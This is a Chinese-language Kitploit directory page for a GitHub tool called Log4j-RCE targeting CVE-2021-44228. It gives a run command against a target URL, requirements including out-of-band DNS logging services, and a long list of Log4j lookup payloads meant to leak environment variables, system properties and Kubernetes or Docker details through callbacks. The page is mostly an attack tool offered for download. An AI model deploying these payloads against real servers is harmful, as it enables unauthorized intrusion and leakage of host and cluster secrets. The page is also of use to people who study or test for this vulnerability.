Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Log4j-RCE — Log4j RCE - (CVE-2021-44228) | Kitploit
工具/GitHubGitHub/momos1337/log4j-rce
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubmomos1337/log4j-rce

Log4j-RCE

Log4j RCE - (CVE-2021-44228)

查看仓库
754年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Log4j-RCE

Log4j RCE - (CVE-2021-44228) 测试图片 1

如何运行?

root@kitploit:~
php log4j.php https://1337.com

要求

  • PHP CURL
  • PAYLOAD
  • DNS 日志(Burpsuite Collaborator 或使用 dnslog.cn)

Payload 列表

测试图片 1

root@kitploit:~
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}

特别致谢

  • Hidden Ghost Team
  • IndoSec
  • IndoXploit
下载工具